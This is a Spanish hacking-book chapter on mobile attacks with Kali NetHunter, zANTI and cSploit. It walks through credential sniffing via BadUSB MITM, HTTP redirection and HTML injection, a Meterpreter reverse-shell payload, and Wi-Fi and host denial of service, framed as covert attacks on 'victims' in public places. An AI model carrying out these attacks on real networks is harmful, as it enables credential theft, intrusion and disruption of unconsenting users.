Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Hacking Mexico LVL 2
Hacking Mexico LVL 2
Bien, a decir verdad, es preferible hacerlo desde un computador normal como lo es una laptop, sin
embargo, habr ocasiones en las que vas a requer una flexibilidad o movilidad mayor para una o
varias situaciones determinadas, ya que estas no se van a prestar para hacer uso del equipo antes
mencionado.
En cambio, con un movil puedes aproximarte ms a la solucin que ests buscando para esta
situacin, ya sea que quieras utilizar t telfono u otro dispositivo movil como una Tablet. Existen
diferentes piezas de hardware que pueden realizar o se prestan para el trabajo que quieres hacer,
existe un dispositivo llamado Pwnie Express, este es un dispositivo movil con la potencia en
hardware suficiente para llevar a cabo tareas de pentesting, adems ya viene precargado con
herramientas y cuenta con ciertas modificaciones en el hardware a fin de hacer el trabajo antes
descrito.
Por obvias razones este dispositivo tiene un costo un poco elevado, as que si puedes adquirirlo,
tendrs una ventaja grande, ya que si con anterioridad habas hecho tareas de pentesting desde
el movil entenders de que estoy hablando, sin embargo, existe otra forma que se puede igualar
a ello.
Apuesto a que conoces o alguna vez viste o usaste aplicaciones o software bastante simple o
bsico para dispositivos mviles (En su mayora Android) que permiten hacer Hacking o
Pentesting, en algn un momento remoto pueden llegar a ser tiles, pero jams sern igual de
eficientes y completas que el software o las herramientas que se encuentran en una distribucin
para pentesting, en este caso se trata de Kali NetHunter.
Esta es una distribucin para pentesting lanzada por Offensive Security (Desarrolladores de Kali
Linux), en donde podrs encontrar una extensa variedad de herramientas para hacer pentesting y
realizar pruebas del mismo tpico, obviamente no encontrars todo lo existente en Kali Linux en
Kali NetHunter, ya que habr funcionalidades sobre las que un movil no se presta para ejecutar,
por ende, esta distribucin contiene menos coas, pero las suficientes para poder hacer bien el
trabajo, y pos supuesto, habr algunas que instalars manualmente, ya que Kali NetHunter no las
trae viene precargadas, un ltimo detalle es que Kali NetHunter puede funcionar en conjunto con
tu dispositivo movil sin generar gran diferencia, no es tener Linux instalado, ya que Kali NetHunter
opera sobre Android.
En esta primera parte del libro, aprenders a utilizar un dispositivo movil para realizar pentesting
de diferentes maneras mediante vectores de ataque distintos, aqu lo haremos de 2 formas:
Usando software algo avanzado o aplicaciones complejas para hacer pentesting desde el
movil.
Haciendo uso de las herramientas existentes en Kali NetHunter.
Cmo configurar un movil para que
funcione con Kali NetHunter?
Un detalle que no se puede dejar pasar es la compatibilidad, as es, los desarrolladores de Kali
NetHunter solo lo hicieron para que funcionase en dispositivos Nexus, del modelo 5 hasta el ms
reciente el da de hoy, que se trata del OnePlus One, ya que los dems mviles no se prestan para
que Kali NetHunter cumpla con su funcionamiento adecuado.
Obviamente hay dems modelos de telfonos que operan actualmente con la distro, sin embargo,
Offensive Security public una lista de los dispositivos mviles que oficialmente se les puede
instalar y tener funcionando a la perfeccin a Kali NetHunter, si encuentras otros dispositivos
ajenos a la lista que tienen instalado a Kali NetHunter, pueden correrlo, de una forma no oficial,
estos son los dispositivos oficialmente nombrados por Offensive Security para poder instalarles
Kali NetHunter:
Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10 o OnePlus One
Esto es importante y que la estabilidad de un sistema, del que sea, lo es todo, y si en un inicio p
Boot algo sale mal (qu es muy comn), el dispositivo puede sufrir daos irreversibles y puede
quedar inutilizable, por lo que requerir un Hard Reset, por ello solo es recomendable utilizar a
Kali NetHunter solamente sobre los dispositivos antes mencionados.
Para el caso de este libro, el movil que se utiliz para hacer las demostraciones fue el Nexus 6.
IMPORTANTE: Existen diferentes mtodos para conseguir la instalacin de Kali NetHunter en un
dispositivo movil, unas mejores que otras, pero existe un detalle, todas TODAS tienen algo en
comn, lo laborioso, por lo que te resultar mucho ms complejo encontrar instrucciones en texto.
Debajo habr el URL de un video en donde encontrars la forma ms confiable para conseguir
esta instalacin, sin embargo, en el material referente a este captulo encontrars el Software
requerido para completar esta instalacin.
Le otorgamos el crdito del video y aspectos de Copyright a la persona que es duea de este
metraje.
https://www.youtube.com/watch?v=Tb_0nOGnTUI
Una vez que hayas finalizado la instalacin y los pasos para dejar listo el movil para realizar
pentesting, podrs dar inicio a los temas que encontrars a partir de la pgina siguiente,
asumiendo que ya tienes a Kali NetHunter funcionando en tu dispositivo movil. En el enlace de
abajo encontrars ms info a detalle sobre Kali NetHunter:
https://www.kali.org/kali-linux-nethunter/
Recoleccin de informacin desde tu mvil.
Descubrimiento y anlisis de Redes (WarDriving).
Esta accin nos permite llevar a cabo la tarea de hallar las redes que se encuentren en el
rea donde estamos situados, adems que se nos puede presentar la posibilidad de explotar
conexiones de las redes WLAN con las que nos topemos, esto mientras recorremos el camino,
(esto puede ser caminando, manejando). Para hacer WarDriving necesitars un dispositivo
que cuente con una antena interna o externa que est trabajando en modo promiscuo, este
dispositivo puede ser una Laptop o un mvil, entre lo que se puede obtener gracias al
WarDriving se encuentra bastante informacin til como lo es:
Toda la informacin anteriormente enumerada se puede conseguir mediante el uso de una App
llamada Wifi Analyzer, adems de que nos permite realizar otras tareas como monitoreo
de intensidad en tiempo real, mostrar grafico de Canales, Listas de AP (Access Points),
hacer uso de un medidor de seal, etc.
Esta App se puede conseguir de forma gratuita en PlayStore, desde donde se descargar e
instalar.
Mostrando as un grfico que indica las intensidades de la seal de los Access Points
hallados, esta se mide en dBm (decibel milliwatts) mientras menor sea el nmero de esta
unidad de medida, ms fuerte ser nuestra seal, asi como se ejemplifica en la imagen. En
este caso el AP con la seal ms fuerte es 430FFST, que es al que est conectado el
dispositivo:
Imagen 3.3: Grafica de Access Points y sus intensidades de seal.
Una vez identificado el canal Wi-Fi, podremos obtener ms informacin detallada sobre este,
como puede ser la obtencin de un grfico en tiempo acerca de los Access Points que
hallemos, tambin la enumeracin de los Access Points encontrados, etc.
Para visualizar esto, abriremos un pequeo men desplegable que se encuentra en la parte
superior derecha de la App, donde se mostrar distintas funciones, indicndonos la que
estamos llevando a cabo en ese momento, a continuacin, realizaremos cada una de estas:
Puntuacin de Canales: Esta funcin lo que hace es mostrarnos los mejores canales en
nuestro Access Point y los que ms estn siendo usados, en donde se puede visualizar el
Nombre del AP, el canal actual sobre el que opera y su Rating o puntuacin de cada uno
de estos canales.
Esto puede llegar a ser bastante til ya que se puede saber que canales estn siendo
utilizados por ciertas redes, con esto se puede evadir el LAG en el trfico de la red, y asi
obtener una seal ms fuerte para la red que se establezca en un rea, en la siguiente
demostracin se ejemplificar esto.
Imagen 6.9 y 2.0: Puntuacin de canales y el rango de estos, sobre el cual operan ciertos Access Points.
Listado de Access Points: Al visualizar la lista de los APs encontrados, podemos hallar
informacin til como es: la direccin fisca de cada AP (direccin MAC), la direccin IP,
el tipo seguridad o cifrado con el que cuenta este AP, un icono que representa un estimado
de la intensidad de la seal que emite este AP, tambin la intensidad en su medicin exacta
de dBm que tambin se muestra en tiempo real, el canal en el que opera este AP y la
compaa o marca que fabrico el hardware del router:
Imagen 2.1: Listado de Access Points y con sus respectivos detalles cada uno.
Medidor de seal: Esta funcin nos permite realizar la medicin en tiempo real de la
intensidad de la seal del Access Point que se haya escogido, esto se puede hacer desde
el botn anteriormente descrito, ya que desde ah se enumeran las redes Wi-Fi disponibles
en el rea.
Tambin nos muestra el nombre de cada AP y su direccin MAC, al realizar la medicin los
datos se arrojaran en dBm, en este ejemplo la intensidad del AP fue de -55 dBm:
Imagen 2.2: Medicin de intensidad de seal Imagen 2.3: Lista de Access Points disponibles.
del AP 430FFST.
Como se demostr en estos ejemplos, el WarDriving puede llegar a ser algo de suma utilidad,
ya que nos permite encontrar redes inalmbricas y obtener informacin detallada de estas
mediante el uso de diferentes dispositivos, ya sea un AP, una computadora porttil o un mvil,
todo esto mientras recorremos una determinado locacin o rea.
Esta accin se puede definir como el Mapeo de los Access Points en un rea definida, esto
puede llevar incluso a descubrir redes con fallos de seguridad o vulnerables a cierto tipo
de ataques.
Recoleccin de informacin y Network Mapping.
Luego de haber finalizado con la Fase de WarDriving, una vez identificada la red objetivo,
podemos obtener mayor informacin acerca de esta. En donde lejos de saber la Direccin
MAC del router, nombre de la red, intensidad de su seal, canales sobre los que opera, etc. Es
momento de averiguar los detalles sobre cada dispositivo conectado a esta red, todo esto se
puede conseguir gracias al Network Mapping o Mapeo de redes.
El mapeo de red permiten identificar el sistema operativo de estos hosts, lo puertos que estn
abiertos, cerrados y filtrados, asi como el nombre y version de los servicios asociados a estos,
como es de saberse, mientras ms informacin tengamos sobre nuestro objetivo, mayores
posibilidades de xito tendremos al querer perjudicarlo. Entre las utilidades que ofrece esta
accin, las que ms ventajas nos dan son:
Identificar Hosts
Deteccin de S.O
Anlisis de red.
Escaneo de puertos
Fingerprinting de Servicios.
Uso de zANTI.
ZANTI es un framework que nos permite llevar a cabo tareas de recoleccin de informacin,
adems de que puede realizar ataques como lo es MITM (Man in the Middle), Spoofing de
direcciones MAC, auditar la complejidad de passwords, etc.
https://www.zimperium.com/zanti-mobile-penetration-testing
Una vez completada esta instalacin, abrimos el Framework y seguido de eso nos mostrar
los hosts encontrados mediante un escaneo rpido que hace al iniciar, esto no quiere decir
que se encontraron todos, para asegurarnos de que aparezcan todos los dispositivos
conectados a esta red, realizaremos una vez ms este escaneo, con el botn Refresh.
Al hacer esto aparecer y nuevo recuadro indicndonos la funcin del mapeo y mostrando 2
opciones, Borrar registros y Anlisis intrusivo, por ahora solo habilitaremos la primera
y seleccionaremos OK para comenzar el escaneo. Ms adelante trabajaremos con la
segunda funcin:
Imagen 2.5, 2.6 y 2.7: Proceso para mapeo de red en la que nos encontremos.
Al terminar el escaneo, podremos interactuar con los dispositivos que se muestren en la lista
y poder llevar a cabo mltiples acciones con ellos, en este ejemplo se usar el dispositivo
nmero dos en la lista, aquel que usa Windows como S.O y cuenta con 9 puertos abiertos, al
seleccionarlo podemos ver 3 columnas:
Comentarios: En esta seccin podemos escribir notas acerca del objetivo seleccionado en
zANTI:
Imagen 2.9: Seccin de comentarios.
PORT, STATE Y SERVICE: En estas 3 columnas se enumeran los puertos que se encuentren
abiertos, cerrados o filtrados. En el caso de los abiertos en la columna Service se encuentra
la informacin acerca del servicio que actualmente est ejecutndose en l, as como detalles
sobre versin, etc.
Ahora que tenemos identificado el Host, realizaremos los mismos pasos que en la
demostracin anterior para poder ver ms informacin detallada acerca de este Host, como es
nmero de cada puerto abierto con el que este cuenta. En este caso los que se hallan en este
estado son el: 22, 80, 139, 143, 443, 445, 5001, 8080, 8081 y 137.
En la columna Anlisis con Nmap se podr encontrar informacin acerca de los servicios
en los puertos abiertos del Host, as como el protocolo con el que funciona el puerto, el nombre
del servicio, etc:
Imagen 3.3, 3.4 y 3.5: Descripcin del Host e informacin recopilada con Nmap por zANTI
NOTA: zANTI hace que la informacin recolectada por Nmap se visible de una forma organizada
y entendible para el usuario, sin embargo esto no quiere decir que solo por este mtodo
haremos uso de Nmap desde nuestro dispositivo con NetHunter. Al igual que en las
distribuciones para pentesting, la forma ms rpida de inicializar Nmap es desde la terminal
de comandos, simplemente ejecutando nmap h:
Para ejecutar un comando desde nuestro dispositivo Android, tenemos que usar la terminal,
esta se encuentra en el men de aplicaciones, su icono identificador es el siguiente:
KALI: Al escoger esta shell, se nos abrir una terminal de comandos bastante parecida a las
que existen en las distribuciones para pentesting, en donde podremos llevar a cabo la
ejecucin de comandos que se involucren o sean afn con las funciones para hacer
pentesting desde nuestro dispositivo Nexus, as como tambin hacer uso de las
herramientas que trae consigo NetHunter:
ANDRIOD: Por su significado Android Super User, aqu se nos provee de una shell de tipo
Unix, en donde podremos realizar la ejecucin de comandos con distinta finalidad a los de la
shell de KALI, aqu nos arrojan la shell sobre los directorios del sistema Android, sin embargo
no podremos ejecutarlos todos o llevar a cabo una exploracin completa, ya que no tenemos
privilegios de carcter administrativo en esta shell:
Imagen 4.1 y 4.2: Shell tipo ANROIDSU y con permisos y privilegios otorgados.
Ahora que entendemos la finalidad de cada uno de los tipos shell, escogeremos aquella que
nos permita hacer uso de las herramientas que dispone NetHunter, la shell de Kali. Al abrirse
la terminal ejecutaremos el comando: nmap -sV -O Direccion IP del Host, lo que nos
mostrar los informacin detallada acerca de ls servicios funcionando en cada puerto abierto
del host especificado, asi como los detalles acerca del S.O de ese Host, la siguientes
demostraciones sern sobre el Host OWASPWBA y el Host USER:
Host OWASPBWA:
Imagen 4.3, 4.4 y 4.5: Detalles acerca de los servicios en los puertos y S.O del Host OWASPBWA.
Host USER:
Imagen 4.6 y 4.7: Detalles acerca de los servicios en los puertos y S.O del Host USER.
Ataques Man in the Middle mediante NetHunter.
Despus de haber finalizado con la fase de recoleccin de informacin usando un dispositivo
mvil mediante el apoyo de zANTI, que como se vio, es una herramienta que nos permite llevar
a cabo mltiples tareas relacionadas con la recoleccin de informacin, desde escaneo e
identificacin de puertos, servicios y hosts hasta ataques MITM y WarDriving para obtener
informacin detallada acerca de las redes que se encuentran en el rea que transitemos, todo
desde esta aplicacin.
Habr ocasiones en las que se requerir algo de movilidad y una mayor discrecin para
llevar a cabo estos ataques para poder hacer sniffing en la red que estemos dentro, ya sea
LAN o WLAN, ya que el uso de un computador porttil o laptop resulta inadecuado para realizar
estos ataques en un cierto tipo de ambientes, aqu es el momento en el que entra Kali
NetHunter y las herramientas que trae consigo para hacer ataques de tipo MITM (Man in the
Middle).
Gracias al apoyo de estas podremos ver informacin sensible dentro del trafico al que le
haremos sniffing con la ayuda de nuestro dispositivo mvil y el apoyo de las herramientas que
trae consigo, en donde conseguiremos realizar una irrupcin en algn canal de comunicacin
legtimo y confiable.
As para poder conseguir cierta informacin que supuestamente solo est destinado el usuario
a leer, a lo largo de este segundo mdulo se har uso de las herramientas que trae consigo
NetHunter para realizar ataques de tipo MITM, los cuales sern:
Preparando lo necesario:
Antes de conectar el dispositivo al ordenador objetivo, ser necesario realizar algunas
configuraciones previas a la conexin por USB, ya que si se conecta como se acostumbra
a hacerlo, no se capturar nada. Para esto, abriremos una terminal en el dispositivo, al hacerlo
escogeremos la de tipo KALI, que ser sobre la que trabajaremos. Dentro, navegaremos
hacia el directorio /sdcard/nh_files en donde se hallan archivos que sern parte de nuestra
configuracion.
NOTA: La ubicacin del directorio /sdcard puede variar.
Dentro del directorio, se encuentra un archivo con extensin .txt, con nombre Flushiptables,
el cual contiene lneas con comandos que se encargarn de establecer una configuracin
para despejar las IP Tables en Linux, esto lo haremos mediante el comando bash
Flushiptables.txt asi nuestro mvil funcionar como una tarjeta de red para que el trfico
fluya por nuestro dispositivo. Todo ya est listo para iniciar nuestro ataque por mediante Bad
USB mediante el men de Kali NetHunter.
Imagen 4.9 y 5.0: Directorio de Flushiptables.txt
Sin embargo no est de ms demostrar como iniciar este ataque mediante la terminal de Kali
en tu dispositivo, para esto, navegaremos al directorio /configs, que se encuentra en la
carpeta /nh_files, dentro se hallan 2 archivos con extensin .sh, con nombre
startbadusb, uno version kitkat y otro version lollipop, en este caso usaremos el segundo,
ya que esta es la version de Android que trae el movil Nexus, para esto ejecutaremos el
comando bash startbadusb-lollipop, para inicializar las instrucciones que trae dentro, al
ejecutarse se mostrar la version de las iptables, la interfaz sobre la que est corriendo el
script de BADUSB (rndis), y su tipo hid (Human interface device)
Para configurar tshark, ejecutaremos el siguiente comando sobre la terminal en la que nos
encontrbamos: tshark -i rndis0 -w Nombre del archivo de captura .cap
Donde:
tshark: hace uso de la herramienta
-i: Indica la interfaz, en este caso rndis0, que se vio en la funcin de Bad USB MITM
Attack en el men de NetHunter.
-w: Aqu se especifica el nombre del archivo de captura con extensin .cap
Al ejecutar esto, tshark, comenzar a filtrar los paquetes, indicndonos con un contador los
paquetes filtrados, el archivo de captura se guardar dentro el directorio que se ejecute el
comando, en esta demostracin se recorri un directorio para que se guardar en nh_files:
Ahora, que est conectado al equipo y configurado con un MITM corriendo, solo queda esperar
a que esta persona contine con su rutina navegacin o a que pase un intervalo de tiempo
para que recojamos el movil despus.
En este ejemplo, durante el tiempo que estuvo conectado el movil se naveg hacia diferentes
sitios web que usan protocolo HTTP, los cuales contienen uno o ms formularios de Loggeo,
por donde se ingresa un usuario, ID, y un password, las plataformas de trabajo utilizan
servicios que contenga alguna pgina con algn login, y puesto a que tenemos un MITM
corriendo y capturando el trfico que pasa del cliente al router, la informacin que pase por
esas pginas o formularios estar expuesta a que la podamos leer con posterioridad.
Los sitios visitados se vern enumerados por el analizador de red que ocuparemos para
visualizar el archivo de captura, aqu un ejemplo de envo de credenciales ficticias en uno de
los sitios visitados:
Una vez que se haya pasado el tiempo que hayamos decidido poner en marcha el ataque,
simplemente se desconectar el movil del equipo y terminaremos el proceso de tshark, para
hacerlo basta con presionar el botn del volumen bajo y presionar C en el teclado, en
NetHunter esto es el equivalente al Ctrl + C en Linux para detener procesos en una terminal
de comandos, en donde se muestra la cantidad total de paquetes filtrados en el archivo de
captura y seguido de la finalizacin del proceso:
Ya que se haya detenido el proceso, solo falta extrae el archivo de captura que gener tshark
de donde reside en el movil y abrirlo con nuestro analizador de red para ver el contenido de
estos paquetes, los cuales se visualizarn con Wireshark.
Imagen 5.9: Directorio en donde se ubica el archivo .cap
NOTA: En este ejemplo se usa el S.O Parrot Security, en done ya viene precargado Wireshark,
cabe mencionar que esta herramienta est disponible para Windows, Mac y Linux.
Ya estando en Parrot, una vez que tengamos el archivo .cap dentro de l, abriremos Wireshark,
el cual se puede iniciar mediante lnea de comandos o desde el men de aplicaciones en la
categora de Sniffing/Spoofing:
Una vez abierto Wireshark, no importa que plataforma se use para trabajar con l,
estando dentro, seleccionaremos la opciones Open a capture file, desde de la cual
navegaremos hacia donde tengamos el archivo .cap y lo abriremos:
Imagen 6.2: Wireshark.
Una vez abierto, se mostrar todo el contenido del archivo de captura, organizndose por
columnas, en donde nos indica el origen/fuente, el destino, el contenido, protocolo,
tamao, e informacin o descripcin del paquete:
Redireccin hacia otros sitios web: Cuando se lanza un ataque MITM hacia un objetivo, se
puede filtrar, retener o alterar el trafico, una forma de ejemplificarlo es mediante el
redireccionamiento de un sitio web hacia otro, en zANTI solo basta con activar la opcion
Redirigir HTTP en donde solo tendremos que cambiar el link que viene por defecto por el de
nuestra preferencia:
Seguido de esto, nos saldremos del input y ya estar corriendo estar funcionando esta accin.
Qu es lo que har? Al activarla, todo el trafico que contenga protocolo HTTP ser redirigido
al enlace o URL que proporcionamos, es decir, toda pagina que el host objetivo visite y use
protocolo HTTP ser redirigida a la que configuramos en zANTI desde nuestro movil. Ejemplo:
Iniciamos zANTI, y escaneamos la red en la que nos encontremos, en donde
seleccionaremos el host victima/objetivo para que podamos llevar a cabo las acciones de
ataque hacia este, en donde seleccionarmeos la categoria Man in the Middle:
Pedidos registrados: Aqu se visualizarn las peticiones http/https que se hagan en red por
parte del host, enlistando los pedidos de navegacion, cabe mencionar que solo se filtraran
las credenciales de accesso de los sitios que redirigan de HTTP a HTTPS.
Pero si desea reenviar todo el trfico a un sitio en particular, solo basta con pulsar en el icono
de configuracin, en donde habr un rea para introducir una URL, ingresa una URL en el
campo y a continuacin, vuelva a tocar en el icono de configuracin para salirte del input. Una
vez hechas las configuraciones correspondientes. Pondremos el ataque en funcionamiento
presionando el botn de encendido. Lo que suceder con esto es que mediante MITM de tipo
ARP haremos que el trfico de los sitios con protocolo HTTP se redireccin haca el sitio que
queramos. Consulta las imgenes.
Imagen 7.2 y 7.3: Re direccionamiento de Trfico.
Si prestamos atencin a la barra de notificaciones en el movil, podemos ver que zANTI muestra
un recuadro cada que tengamos un ataque MITM en accin, no pimporta el tipo, desde aqu
podemos combiar la configuracion inical del ataque o detenerlo.
Remplazo de imgenes: Una cosa ms que se puede realizar durante un ataque MITM
mediante zANTI (y de otros modos tambin) es el remplazo de las imgenes en el sitio web
con protocolo HTTP que visite la victima involucrada en el ataque, estas pueden ser
remplazadas con cualquier imagen en todos los formatos (en ocasiones .GIF).
En las acciones de ataque MITM de zANTI se halla esta opcin, solo basta con seleccionar el
host vctima y posteriormente la imagen que deseemos, en este caso se usar la que viene
precargada, habilitamos la opcin e iniciamos el ataque:
Podemos notar que nuestra accin de ataque funciona, en 2 pginas distintas, as como
tambin podemos ver que el ataque se realiza hacia una PC y un movil, en este caso un
iPhone, solo basta con escoger el nuevo host en zANTI e iniciar el debido ataque hacia este.
Insercin de codigo HTML: Otra caracteristica que trae consigo zANTI, es que dentro de las
funcionalidades de ataques MITM podemos insertar codigo HTML en ciertas paginas a las
que la victima o host objetivo visite. Dentro del men de configuracion para ataques MITM,
nos encontraremos con esta funcin, desde la cual escribiremos el codigo HTML que
buscamos ejecutar en el navegador ajeno de la victima del atque Man in the Middle, esta
funcion ya trae un pequeo cdigo HTML que nos mostrar un mensaje acerca de zANTI.
Para editarlo solo basta con pulsar el botn del engrane y hacer los cambios que vayamos a
necesitar, para terminar se tiene que activar la funcion con el botn de encendido para
posteriormete iniciar el ataque. Lo que se obtendr ser un Message Dialog en el navegador
del equipo victima que visite una pagina con protocolo HTTP en este ejemplo fue p0isoned
by: HackingMexico, puedes ingresar el codigo HTML de tu eleccin. Consulta las imgenes.
Imagen 7.8, 7.9 y 8.0: Inyeccin de cdigo HTML.
Como ya se sabe, Metasploit es una herramienta bastante famosa que permite llevar a cabo
diferentes tareas de pentesting, desde la recoleccin de informacin de un host, hasta acciones
de explotacin y post-explotacin. Como es de esperarse, NetHunter trae consigo a esta
herramienta, cabe mencionar que no en su totalidad, es decir, la versin de Metasploit en
NetHunter no cuenta con todas las caractersticas que traera una distro para pentesting como
lo es Kali, Parrot OS o BackBox, por lo que algunas tareas de pentesting como esta
demostracin se vern limitadas debido a esto en NetHunter.
Dentro del men principal de NetHunter, nos encontramos con el Generador de Payloads de
Metasploit, que es una herramienta que automatiza la creacin de payloads en distintos
lenguajes para que funcionen en diferentes plataformas. En el siguiente ejemplo se demostrar
el uso de esta funcin para lograr la obtencin de shells interactivas sobre el equipo vctima.
Para poder realizar esto se requieren ciertos parmetros de configuracin, como lo es el tipo
de payload, puerto y direccin IP en donde se crear el canal de comunicacin
cliente/servidor, y por ltimo las opciones del mdulo, como lo son el tipo de payload y el
protocolo de comunicacin.
Imagen 8.1: Configuracin de Payload de Python.
Teniendo todo listo, se hace una ltima revisin de la configuracin y se genera el payload, al hacer
esto se abrir una nueva terminal en donde se mostrar el proceso de compilacin de este, en
donde se mostrarn los parmetros de configuracin que se establecieron, as como el lugar donde
reside el payload:
Luego de eso, el payload tendr que mandarse a llamar desde Metasploit y configurarlo para
que trabaje con un Listener de conexiones en la red y pueda arrojarnos la shell de
Meterpreter al momento de su ejecucin. Para esto ejecutremos el siguiente comando desde
dentro del directorio donde reside el payload: msfconsole q r python-meterpreter-
staged-reverse-tcp-666.py
En donde:
Hecho esto, solo se hace llegar el payload a la maquina vctima que est en el mismo segmento
de red que nosotros, en este caso se hizo la prueba con un Windows 10, en donde solo se
tendr que ejecutar el script de Python.
Como ya se sabe, Kali Linux y dems distribuciones de seguridad informtica pueden ser
utilizadas para hacer testing hacia redes inalmbricas, lo mismo se puede conseguir con Kali
NetHunter, ya que este contiene herramientas para poder llevar a cabo este tipo de tareas con
una mejor movilidad y de una forma ms discreta.
Habr ocasiones en las que parte del trabajo de Pentesting, se tendr que recorrer un rea en
especfico en bsqueda de redes inalmbricas para hacerles Stress testing (DoS), crackeo
de passwords y dems ataques.
Aqu es cuando una vez ms aparece NetHunter, para poder usarlo en estos escenarios va a
ser necesaria un adaptador Wi-Fi inalmbrico y un cable tipo OTG para poder conectarlo a
nuestro mvil.
NOTA: No todas las antenas Wi-Fi externas se prestan para hacer este tipo de pruebas,
por lo tanto no son compatibles con las distros para pentesting incluida Kali/Kali
NetHunter, puesto a que no permiten la inyeccin de paquetes y no pueden hacer uso de
Modo Monitor, en la siguiente lista podrs encontrar las mejor antenas Wi-Fi externas para
ataques a redes inalmbricas:
Alfa AWUS036NHA
Alfa AWUS036NEH
TP-Link TL-WN722N
Denegacin de servicios (DoS) dentro y fuera de la red.
Teniendo como ventaja a nuestro Dispositivo con NetHunter, ser mejor hacer de esta forma
el trabajo para mantener una discrecin mayor en el lugar donde te encuentres, ya sea tu
oficina, escuela, la recepcin de un hotel o tu restaurante preferido, en vez de usar una laptop
y asi evitar la atencin que no estemos buscando.
Como se ha visto hasta ahora, se pueden llevar a cabo mltiples acciones de ataque desde
nuestro dispositivo Nexus, que es el que cuenta con distintas herramientas para hacer estos
ataques mediante vectores deferentes, aqu es donde entra otra herramienta, cSploit.
Disponible para la plataforma android, cSploit es un avanzado kit de herramientas bastante
completo que se usa para realizar ataques en distintas formas ofrecindonos algo que es
demasiado til al momento de llevar a cabo distintos ataques portabilidad.
Gracias a cSploit podemos hacer una amplia variedad de ataques con mayor flexibilidad,
desde la recoleccin de informacin acerca de un Host en la red, hasta hacer denegacin de
servicios y la obtencin de sesiones interactivas sobre el host objetivo, los usos principales
de cSploit son:
Enumeracin de Hosts.
Bloqueo de conexiones
Encontrar vulnerabilidades.
La herramienta ya viene precargada junto con NetHunter, por lo que no ser necesario
instalarla por nuestra cuenta. Si se desea instalar en un movil que no contenga Kali NetHunter
va a ser necesario lo siguiente:
Que el dispositivo Android cuente con una version 2.3 o superior con ROOT.
Se requerir la instalacin de SUPERSU, de lo contrario no funcionar.
El dispositivo Android deber contar con la instalacin de BusyBox, con todas las
utilidades cargadas/instaladas para que funcionen junto con cSploit.
La suite de cSploit se pude descargar desde el siguiente link, en donde puedes encontrar
documentacin relacionada: https://github.com/cSploit/android/
1. DoS desde cSploit.
En las demostraciones anteriores de ataques Man in the Middle, pudimos llevar a cabo distintas
funciones de ataque como lo es el filtrar y manipular trfico, hacer sniffing, etc. Sin embargo
algo que se puede conseguir despus de haber hecho esta irrupcin en el canal de
comunicacin que nos permite actuar como MITM, lejos de hacer sniffing y monitoreo, se
puede hacer ataques de denegacin de servicio o conseguir inhabilitar cierta comunicacin.
Con cSploit podemos conseguir eso, gracias a su extensa variedad de funciones y acciones
de ataque es posible realizar el bloqueo de conexiones que realiza un host o equipo en la red
que nos encontremos. En el siguiente ejemplo se demostrar la eficacia para realizar el
bloqueo de la comunicacin va web en un host.
Teniendo instalado cSploit en nuestro movil y estando conectados a la red inalmbrica donde
se encuentra el host vctima, abrimos la suite y veremos que enumerar los host funcionales
(activos) en la red. En donde tambin nos muestra el Router al que estamos conectados y la
mscara de subred, as como los detalles de cada posible objetivo que est enlistado, en este
caso seleccionaremos el que dice USER.
Metasploit cuenta con una til caracterstica llamada MSFRPCD. Esta proporciona acceso a
una instancia del Framework a travs de una conexin RPC (Remote Procedure Call)
cSploit inicia esta llamada y conecta a l. As cSploit podr realizar la explotacin de un cierto
Host y conseguir sesiones de control sobre el/los objetivos comprometidos.
Una vez que un host de destino ha sido comprometido, puede tomar el control con una shell,
dando por hecho que el objetivo es tuyo. Ms adelante tocaremos ese tema.
Asi como otras herramientas, cSploit tiene opciones de configuracin inicial antes de ponerse
en accin, como se ve en las imgenes, podemos buscar redes Wi-Fi, crear, guardar o
restaurar sesiones de trabajo, iniciar/detener el monitoreo de la red . Al igual que como lo vimos
con zANTI, es el mismo equipo que cuenta con 7 puertos abiertos, lo seleccionamos. Dentro
de este nuevo men se enlistan todas las acciones de ataque y funciones que se pueden llevar
a cabo hacia este host, seleccionaremos la categora de Man in the Middle.
Una vez dentro de esta categora, se mostrar un nuevo panel que cuenta con las acciones
de ataque mediante MITM, desde aqu se pueden realizar diferentes tareas, como lo es el
sniffing y el re direccionamiento del trfico no cifrado, DNS Spoofing, remplaz de
imgenes, Secuestro de sesiones no seguras, etc.
El resultado ser el tal cual antes descrito, impidiendo la navegacion en el host objetivo, las
pruebas se realizaron visitando a Facebook, Gmail y Twitter, desde el Navegador Comodo
IceDragon versin 49.0.0
Imagen 9.4: Acceso a internet impedido en host vctima.
Lo mismo funciona para los mviles, solo se selecciona el Host correspondiente en el listado
de objetivos detectados por cSploit.
La siguiente prueba se realiz haca un iPhone con iOS 10.1.1, entrando a Google desde
Safari, adems de que tambin deniega las conexiones que se intentan establecer desde
Apps, como lo es Facebook.
NOTA: Esta simple modalidad de ataque puede ser bastante util/perjudicial, ya que
puedes hacer un flooding en el Router dejando sin Internet a la red completa.
2. Denegacin de Servicios a un Access Point mediante NetHunter
Previamente se hicieron pruebas de denegacin de servicios (DoS) mediante cSploit en donde
conseguimos dejar inhbil la conexin a internet por parte de un usuario dentro del mismo
segmento de red que nosotros.
Yendo algo ms lejos, se puede conseguir lo mismo con una red inalmbrica o AP objetivo,
estableciendo el modo monitor en un adaptador inalmbrico dejando fuera por unos segundos
o ms tiempo a un solo cliente o a todos si as lo queremos, desde Kali y dems distros se
puede hacer una extensa variedad de ataques de este tipo, y por supuesto tambin desde tu
movil con NetHunter.
Qu necesitars?
Cable OTG
Tu dispositivo con NetHunter
Tarjeta o adaptador red inalmbrico (Para esta demostracin recomiendo una TP-Link
TL-WN722N)
Teniendo todo listo, conectaremos nuestra antena al movil mediante el cable OTG y abrimos
una nueva terminal de Kali.
Estando dentro lo primero que haremos ser habilitar nuestra nueva interface de red, que
ser wlan1 iniciando el servicio de redes, ejecutaremos el primer comando que es: service
networking start:
Esto nos indica que ya est en funcin esta interface de red y puede ser usada. Sabiendo
esto podremos ponerla en funcin de modo monitor, una forma de hacer esto es con el
comando airmon-ng start wlan1
Donde:
Qu es Airmon-ng?
Siendo una dependencia de Aircrack-ng, este script se utiliza para habilitar el modo monitor en
las interfaces inalmbricas, en este caso hablamos de nuestra antena externa. Al conseguir
esto, el sistema ahora nos proporcionar una interface identificadora para usar en modo
monitor, en este caso ser wlan1mon.
Seguido de esto haremos uso de Airodump-ng para poder encontrar Routers inalmbricos o
Access Points en el rea.
Este es fue hecho con la finalidad de capturar paquetes de redes inalmbricas con estndar
802.11, permitindonos asi encontrar redes inalmbricas en el lugar, para hacer esto desde
